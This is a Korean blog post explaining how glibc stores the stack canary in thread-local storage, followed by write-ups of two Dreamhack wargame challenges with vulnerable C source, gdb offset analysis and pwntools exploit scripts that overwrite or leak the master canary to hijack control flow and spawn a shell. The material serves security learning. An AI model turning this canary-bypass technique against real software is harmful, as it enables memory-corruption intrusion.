TIL: Master canary ๐Ÿฅ

TLS

TLS (Thread Local Storage)๋Š” thread์˜ ์ „์—ญ ๋ณ€์ˆ˜๋ฅผ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•œ ์ €์žฅ ๊ณต๊ฐ„์„ ์˜๋ฏธํ•œ๋‹ค. TLS๋Š” loader์— ์˜ํ•ด ํ• ๋‹น๋œ๋‹ค.

init_tls

์•„๋ž˜๋Š” loader๊ฐ€ TLS ์˜์—ญ์„ ํ• ๋‹นํ•˜๊ณ  ์ดˆ๊ธฐํ™”ํ•˜๋Š” ํ•จ์ˆ˜์ธ init_tls์˜ ์ฝ”๋“œ์ด๋‹ค.

static void *
init_tls (void)
{
  /* Construct the static TLS block and the dtv for the initial
     thread.  For some platforms this will include allocating memory
     for the thread descriptor.  The memory for the TLS block will
     never be freed.  It should be allocated accordingly.  The dtv
     array can be changed if dynamic loading requires it.  */
  void *tcbp = _dl_allocate_tls_storage ();
  if (tcbp == NULL)
    _dl_fatal_printf ("\
cannot allocate TLS data structures for initial thread\n");
  /* Store for detection of the special case by __tls_get_addr
     so it knows not to pass this dtv to the normal realloc.  */
  GL(dl_initial_dtv) = GET_DTV (tcbp);
  /* And finally install it for the main thread.  */
  const char *lossage = TLS_INIT_TP (tcbp);
  if (__glibc_unlikely (lossage != NULL))
    _dl_fatal_printf ("cannot set up thread-local storage: %s\n", lossage);
  tls_init_tp_called = true;
  return tcbp;
}
  • _dl_allocate_tls_storage์—์„œ TLS ์˜์—ญ์„ ํ• ๋‹นํ•˜๊ณ , ์ด๋ฅผ tcbp์— ์ €์žฅํ•œ ๋’ค ์ด๋ฅผ TLS_INIT_TP์˜ ์ธ์ž๋กœ ์ „๋‹ฌํ•œ๋‹ค.

TLS_INIT_TP ๋งคํฌ๋กœ๋Š” ์•„๋ž˜์™€ ๊ฐ™์ด ์ •์˜๋˜์–ด ์žˆ๋‹ค.

# define TLS_INIT_TP(thrdescr) \
  ({ void *_thrdescr = (thrdescr);                                              \
     tcbhead_t *_head = _thrdescr;                                              \
     int _result;                                                              \
                                                                              \
     _head->tcb = _thrdescr;                                                      \
     /* For now the thread descriptor is at the same address.  */              \
     _head->self = _thrdescr;                                                      \
                                                                              \
     /* It is a simple syscall to set the %fs value for the thread.  */              \
     asm volatile ("syscall"                                                      \
                   : "=a" (_result)                                              \
                   : "0" ((unsigned long int) __NR_arch_prctl),                      \
                     "D" ((unsigned long int) ARCH_SET_FS),                      \
                     "S" (_thrdescr)                                              \
                   : "memory", "cc", "r11", "cx");                              \
                                                                              \
    _result ? "cannot set %fs base address for thread-local storage" : 0;     \
  })
  • arch_prctl system call์˜ ์ฒซ ๋ฒˆ์งธ argument๋กœ ARCH_SET_FS, ๋‘ ๋ฒˆ์งธ argument๋กœ ํ• ๋‹นํ•œ TLS ์ฃผ์†Œ๊ฐ€ ์ „๋‹ฌ๋œ๋‹ค.
  • arch_prctl์˜ ARCH_SET_FS๋Š” process์˜ fs segment register๋ฅผ ๋‘ ๋ฒˆ์งธ argument๋กœ ์ดˆ๊ธฐํ™”ํ•˜๋Š” ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•œ๋‹ค. โ†’ FS segment regitser๋Š” TLS ์˜์—ญ์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋œ๋‹ค.

Master Canary

Canary๋Š” buffer๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ํ•จ์ˆ˜์˜ prologue์—์„œ fs:0x28์— ์œ„์น˜ํ•˜๋Š” ๊ฐ’์„ ๊ฐ€์ ธ์™€ rbp ๋ฐ”๋กœ ์•ž์— ์‚ฝ์ž…ํ•˜์—ฌ ์ƒ์„ฑ๋œ๋‹ค.

์•ž์—์„œ ํ™•์ธํ–ˆ๋“ฏ์ด, fs๋Š” TLS๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฏ€๋กœ TLS ์ฃผ์†Œ์— 0x28 byte ๋งŒํผ ๋–จ์–ด์ง„ ์ฃผ์†Œ์— ์œ„์น˜ํ•œ randomํ•œ ๊ฐ’์„ ์นด๋‚˜๋ฆฌ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค. โ†’ ์ด ๊ฐ’์„ Master Canary๋ผ๊ณ  ๋ถ€๋ฅธ๋‹ค.

Stack buffer๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ชจ๋“  ํ•จ์ˆ˜์—์„œ Master canary๋ฅผ ์ด์šฉํ•ด canary๋ฅผ ์ƒ์„ฑํ•˜๋ฏ€๋กœ, ๋ชจ๋“  ํ•จ์ˆ˜์—์„œ ์‚ฌ์šฉํ•˜๋Š” canary๋Š” ๋™์ผํ•˜๋‹ค.

security_init

security_init์€ TLS ์˜์—ญ์— ๋žœ๋คํ•œ canary ๊ฐ’์„ ํ• ๋‹นํ•œ๋‹ค.

static void
security_init (void)
{
  /* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
  THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
  __stack_chk_guard = stack_chk_guard;
#endif
  /* Set up the pointer guard as well, if necessary.  */
  uintptr_t pointer_chk_guard
    = _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
#ifdef THREAD_SET_POINTER_GUARD
  THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#endif
  __pointer_chk_guard_local = pointer_chk_guard;
  /* We do not need the _dl_random value anymore.  The less
     information we leave behind, the better, so clear the
     variable.  */
  _dl_random = NULL;
}
  • _dl_setup_stack_chk_guard๋Š” kernel์—์„œ ์ƒ์„ฑํ•œ random ๊ฐ’์„ ๊ฐ–๋Š” pointer์ธ _dl_random์„ ์ธ์ž๋กœ canary๋ฅผ ์ƒ์„ฑํ•œ๋‹ค.

_dl_setup_stack_chk_guard

_dl_setup_stack_chk_guard๋Š” _dl_random์„ ์ด์šฉํ•ด canary ๊ฐ’์„ ์ƒ์„ฑํ•œ๋‹ค.

static inline uintptr_t __attribute__ ((always_inline))
_dl_setup_stack_chk_guard (void *dl_random)
{
  union
  {
    uintptr_t num;
    unsigned char bytes[sizeof (uintptr_t)];
  } ret = { 0 };
  if (dl_random == NULL)
    {
      ret.bytes[sizeof (ret) - 1] = 255;
      ret.bytes[sizeof (ret) - 2] = '\n';
    }
  else
    {
      memcpy (ret.bytes, dl_random, sizeof (ret));
#if BYTE_ORDER == LITTLE_ENDIAN
      ret.num &= ~(uintptr_t) 0xff;
#elif BYTE_ORDER == BIG_ENDIAN
      ret.num &= ~((uintptr_t) 0xff << (8 * (sizeof (ret) - 1)));
  • binary์˜ byte ordering์— ๋”ฐ๋ผ AND ์—ฐ์‚ฐ์„ ์ˆ˜์ •ํ•˜๋Š”๋ฐ, ๊ฐ’์˜ ์ฒซ byte ํ˜น์€ ๋งˆ์ง€๋ง‰ byte๋ฅผ NULL๋กœ ๋ณ€ํ™˜ํ•œ๋‹ค. โ†’ canary์˜ ์ฒซ byte๊ฐ€ NULL์ธ ์ด์œ 

THREAD_SET_STACK_GUARD

THREAD_SET_STACK_GUARD ๋งคํฌ๋กœ๋ฅผ ์ด์šฉํ•ด _dl_setup_stack_chk_guard๊ฐ€ ์ƒ์„ฑํ•œ ๊ฐ’์„ header.stack_guard์— ์‚ฝ์ž…ํ•œ๋‹ค.

TLS ์˜์—ญ์€ tcbhead_t struct๋กœ ๊ตฌ์„ฑ๋˜์–ด ์žˆ๋Š”๋ฐ, stack_guard๋Š” canary์˜ ๊ฐ’์„ ๊ฐ–๋Š” member variable์ด๋‹ค. ๋”ฐ๋ผ์„œ, THREAD_SET_STACK_GUARD๋Š” TLS + 0x28์— canary ๊ฐ’์„ ์‚ฝ์ž…ํ•˜๋Š” ๋งคํฌ๋กœ์ด๋‹ค.

typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  int gscope_flag;
#ifndef __ASSUME_PRIVATE_FUTEX
  int private_futex;
#else
  int __glibc_reserved1;
#endif
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
} tcbhead_t;

Bypass Canary

Thread Stack

Thread ํ•จ์ˆ˜์—์„œ ์„ ์–ธ๋œ ๋ณ€์ˆ˜๋Š” ์ผ๋ฐ˜์ ์ธ stack ์˜์—ญ์ด ์•„๋‹Œ, TLS์™€ ์ธ์ ‘๋œ ์˜์—ญ์˜ stack์— ํ• ๋‹น๋œ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ thread ํ•จ์ˆ˜๋Š” ์ผ๋ฐ˜ ํ•จ์ˆ˜์™€ ๋™์ผํ•˜๊ฒŒ mater canary๋ฅผ ์ฐธ์กฐํ•œ๋‹ค.

Thread์—์„œ ํ• ๋‹นํ•œ ๋ณ€์ˆ˜๋Š” master canary๋ณด๋‹ค ๋‚ฎ์€ ์ฃผ์†Œ์— ์œ„์น˜ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, BOF๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค๋ฉด master canary๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค. โ†’ master canary๋ฅผ ๋ฎ์–ด ์“ด๋‹ค๋ฉด stack canary๋ฅผ ์•Œ์•„๋‚ผ ํ•„์š” ์—†์ด exploitํ•  ์ˆ˜ ์žˆ๋‹ค.

Wargame: mc_thread

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_bytes (char *buf, int len) {
  int idx = 0;
  int read_len = 0;

  for (idx = 0; idx < len; idx++) {
    int ret;
    ret = read(0, buf+idx, 1);
    if (ret < 0) {
      return read_len;
    }
    read_len ++;
  }

  return read_len;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  //read(0, buf, size);
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

๋ถ„์„

  • thread_routine์„ disassembleํ•ด ํ™•์ธํ•˜๋ฉด, thread buffer๊ฐ€ rbp-0x110์— ์œ„์น˜ํ•จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (0x7ffff77c1de0)
  • gdb๋ฅผ ์ด์šฉํ•˜๋ฉด $fs_base๋ฅผ ์ž…๋ ฅํ•ด fs์˜ ์ฃผ์†Œ๋ฅผ ์•Œ ์ˆ˜ ์žˆ๊ณ , ์ด๋ฅผ ํ†ตํ•ด master canary์˜ ์ฃผ์†Œ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.
  • thread buffer์™€ master canary ์‚ฌ์ด์˜ offset์ด 0x948์ž„์„ ํ™•์ธํ–ˆ์œผ๋ฉด, ์ด๋ฅผ ์ด์šฉํ•ด payload๋ฅผ ๊ตฌ์„ฑํ•œ๋‹ค.
  • payload๋Š” master canary๋ฅผ โ€œAAAAAAAAโ€๋กœ overwriteํ•˜๊ณ , stack์˜ canary๋„ โ€œAAAAAAAAโ€๋กœ overwriteํ•˜๋„๋ก ๊ตฌ์„ฑํ•œ๋‹ค. ๋˜ํ•œ payload๊ฐ€ return address๋ฅผ giveshell์˜ ์ฃผ์†Œ๋กœ overwriteํ•˜๋„๋ก ๊ตฌ์„ฑํ•œ๋‹ค.

Exploit

from pwn import *

#p = process("./mc_thread")
p = remote("host3.dreamhack.games", 15907)
e = ELF("./mc_thread")

payload = b"A"*256
payload += b"A"*8
payload += b"A"*0x10
payload += p64(e.symbols["giveshell"])
payload += b"A"*(0x948 - len(payload))
payload += b"A"*0x8

p.sendlineafter("Size: ", str(len(payload)))
p.sendafter("Data: ", payload)

p.interactive()

Wargame: master_canary

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>

char *global_buffer;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}

void *thread_routine() {
    char buf[256];

    global_buffer = buf;

}
void read_bytes(char *buf, size_t size) {
    size_t sz = 0;
    size_t idx = 0;
    size_t tmp;

    while (sz < size) {
        tmp = read(0, &buf[idx], 1);
        if (tmp != 1) {
            exit(-1);
        }
        idx += 1;
        sz += 1;
    }
    return;
}
int main(int argc, char *argv[]) {
    size_t size;
    pthread_t thread_t;
    size_t idx;
    char leave_comment[32];

    initialize();

    while(1) {
        printf("1. Create thread\n");
        printf("2. Input\n");
        printf("3. Exit\n");
        printf("> ");
        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0)
                {
                    perror("thread create error");
                    exit(0);
                }
                break;
            case 2:
                printf("Size: ");
                scanf("%d", &size);

                printf("Data: ");
                read_bytes(global_buffer, size);

                printf("Data: %s", global_buffer);
                break;
            case 3:
                printf("Leave comment: ");
                read(0, leave_comment, 1024);
                return 0;
            default:
                printf("Nope\n");
                break;
        }
    }

    return 0;
}

๋ถ„์„

  • gdb๋ฅผ ์ด์šฉํ•ด canary์˜ ๊ฐ’์„ ํ™•์ธํ•œ ํ›„, find [canary]๋กœ ๊ฒ€์ƒ‰ํ•˜๋ฉด canary ๊ฐ’์„ ๊ฐ€์ง„ ์ฃผ์†Œ๊ฐ€ ์ด 3๊ฐœ ์žˆ์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

    • ์œ„์˜ ๋‘ ๊ฐœ์˜ ์ฃผ์†Œ๋Š” ๊ฐ๊ฐ peer thread์™€ main thread์˜ master canary์ด๊ณ , ๋งˆ์ง€๋ง‰ ์ฃผ์†Œ๋Š” stack ์œ„์— ์กด์žฌํ•˜๋Š” canary์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • global_buffer์˜ ์ฃผ์†Œ๋Š” 0x7ffff77eee40์ด๋ฏ€๋กœ, ์ฒซ ๋ฒˆ์งธ ์ฃผ์†Œ๊นŒ์ง€์˜ offset์ด 0x8e8, ๋‘ ๋ฒˆ์งธ ์ฃผ์†Œ๊นŒ์ง€์˜ offset์ด 0x7fd8e8์ด๋‹ค. main thread์˜ master canary๋ฅผ overwriteํ•˜๊ธฐ์—๋Š” offset์ด ๋„ˆ๋ฌด ํฌ๋ฏ€๋กœ peer thread์˜ master canary๋ฅผ leakํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ exploitํ•œ๋‹ค.

Exploit

from pwn import *

#p = process("./master_canary")
p = remote("host3.dreamhack.games", 22021)
#gdb.attach(p)
e = ELF("./master_canary")

p.sendlineafter("> ", "1")

p.sendlineafter("> ", "2")
payload = b"A"*(0x8e8+1)
p.sendlineafter("Size: ", str(int(0x8e8+1)))
p.sendafter("Data: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recvn(7))
p.sendlineafter("> ", "3")
payload = b"A" * (0x20 + 0x8) + p64(canary) + b"A"*0x8 + p64(e.symbols["get_shell"])

p.sendafter("Leave comment: ", payload)

p.interactive()

Categories: ,

Updated:

Leave a comment